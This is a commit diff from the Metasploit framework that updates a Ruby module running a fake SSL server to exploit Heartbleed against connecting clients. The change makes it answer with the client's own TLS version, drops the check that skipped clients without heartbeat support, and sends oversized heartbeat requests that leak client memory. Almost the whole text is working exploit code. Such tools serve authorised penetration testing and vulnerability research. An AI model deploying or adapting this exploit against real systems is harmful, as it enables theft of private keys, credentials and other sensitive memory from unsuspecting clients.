Land #3250, version handling for Heartbleed server

bug/bundler_fix
William Vu 2014-04-25 00:17:26 -05:00
commit c2bb26590c
No known key found for this signature in database
GPG Key ID: E761DCB4C1629024
1 changed files with 23 additions and 22 deletions

View File

@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
'Description' => %q{ 'Description' => %q{
This module provides a fake SSL service that is intended to This module provides a fake SSL service that is intended to
leak memory from client systems as they connect. This module is leak memory from client systems as they connect. This module is
hardcoded for TLS/1.1 using the AES-128-CBC-SHA1 cipher. hardcoded for using the AES-128-CBC-SHA1 cipher.
}, },
'Author' => 'Author' =>
[ [
@ -128,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary
# Process cleartext TLS messages # Process cleartext TLS messages
def process_openssl_cleartext_request(c, data) def process_openssl_cleartext_request(c, data)
message_type, message_version = data.unpack("Cn") message_type, message_version, protocol_version = data.unpack("Cn@9n")
if message_type == 0x15 and data.length >= 7 if message_type == 0x15 and data.length >= 7
message_level, message_reason = data[5,2].unpack("CC") message_level, message_reason = data[5,2].unpack("CC")
@ -160,19 +160,12 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{@state[c][:name]} Processing Client Hello...") print_status("#{@state[c][:name]} Processing Client Hello...")
# Ignore clients that do not support heartbeat requests
unless data.index("\x0F\x00\x01\x01")
print_status("#{@state[c][:name]} Client does not support heartbeats")
c.close
return
end
# Extract the client_random needed to compute the master key # Extract the client_random needed to compute the master key
@state[c][:client_random] = data[11,32] @state[c][:client_random] = data[11,32]
@state[c][:received_hello] = true @state[c][:received_hello] = true
print_status("#{@state[c][:name]} Sending Server Hello...") print_status("#{@state[c][:name]} Sending Server Hello...")
openssl_send_server_hello(c, data) openssl_send_server_hello(c, data, protocol_version)
return return
end end
@ -203,7 +196,7 @@ class Metasploit3 < Msf::Auxiliary
else else
# Send heartbeat requests # Send heartbeat requests
if @state[c][:heartbeats].length < heartbeat_limit if @state[c][:heartbeats].length < heartbeat_limit
openssl_send_heartbeat(c) openssl_send_heartbeat(c, protocol_version)
end end
# Process cleartext heartbeat replies # Process cleartext heartbeat replies
@ -223,7 +216,7 @@ class Metasploit3 < Msf::Auxiliary
# Process encrypted TLS messages # Process encrypted TLS messages
def process_openssl_encrypted_request(c, data) def process_openssl_encrypted_request(c, data)
message_type, message_version = data.unpack("Cn") message_type, message_version, protocol_version = data.unpack("Cn@9n")
return if @state[c][:shutdown] return if @state[c][:shutdown]
return unless data.length > 5 return unless data.length > 5
@ -244,7 +237,7 @@ class Metasploit3 < Msf::Auxiliary
# Send heartbeat requests # Send heartbeat requests
if @state[c][:heartbeats].length < heartbeat_limit if @state[c][:heartbeats].length < heartbeat_limit
openssl_send_heartbeat(c) openssl_send_heartbeat(c, protocol_version)
end end
# Process heartbeat replies # Process heartbeat replies
@ -305,47 +298,55 @@ class Metasploit3 < Msf::Auxiliary
end end
# Send an OpenSSL Server Hello response # Send an OpenSSL Server Hello response
def openssl_send_server_hello(c, hello) def openssl_send_server_hello(c, hello, version)
# If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the
# first cipher suite sent by the client.
if @state[c][:encrypted]
cipher = "\x00\x2F"
else
cipher = hello[46, 2]
end
# Create the Server Hello response # Create the Server Hello response
extensions = extensions =
"\x00\x0f\x00\x01\x01" # Heartbeat "\x00\x0f\x00\x01\x01" # Heartbeat
server_hello_payload = server_hello_payload =
"\x03\x02" + # TLS Version 1.1 [version].pack('n') + # Use the protocol version sent by the client.
@state[c][:server_random] + # Random (Timestamp + Random Bytes) @state[c][:server_random] + # Random (Timestamp + Random Bytes)
"\x00" + # Session ID "\x00" + # Session ID
"\x00\x2F" + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA) cipher + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)
"\x00" + # Compression Method (none) "\x00" + # Compression Method (none)
[extensions.length].pack('n') + extensions [extensions.length].pack('n') + extensions
server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload
msg1 = "\x16\x03\x02" + [server_hello.length].pack("n") + server_hello msg1 = "\x16" + [version].pack('n') + [server_hello.length].pack("n") + server_hello
c.put(msg1) c.put(msg1)
# Skip the rest of TLS if we arent negotiating it # Skip the rest of TLS if we arent negotiating it
unless negotiate_tls? unless negotiate_tls?
# Send a heartbeat request to start the stream and return # Send a heartbeat request to start the stream and return
openssl_send_heartbeat(c) openssl_send_heartbeat(c, version)
return return
end end
# Certificates # Certificates
certs_combined = generate_certificates certs_combined = generate_certificates
pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined
msg2 = "\x16\x03\x02" + [pay2.length].pack("n") + pay2 msg2 = "\x16" + [version].pack('n') + [pay2.length].pack("n") + pay2
c.put(msg2) c.put(msg2)
# End of Server Hello # End of Server Hello
pay3 = "\x0e\x00\x00\x00" pay3 = "\x0e\x00\x00\x00"
msg3 = "\x16\x03\x02" + [pay3.length].pack("n") + pay3 msg3 = "\x16" + [version].pack('n') + [pay3.length].pack("n") + pay3
c.put(msg3) c.put(msg3)
end end
# Send the heartbeat request that results in memory exposure # Send the heartbeat request that results in memory exposure
def openssl_send_heartbeat(c) def openssl_send_heartbeat(c, version)
c.put "\x18\x03\x02\x00\x03\x01" + [heartbeat_read_size].pack("n") c.put "\x18" + [version].pack('n') + "\x00\x03\x01" + [heartbeat_read_size].pack("n")
end end
# Pack the certificates for use in the TLS reply # Pack the certificates for use in the TLS reply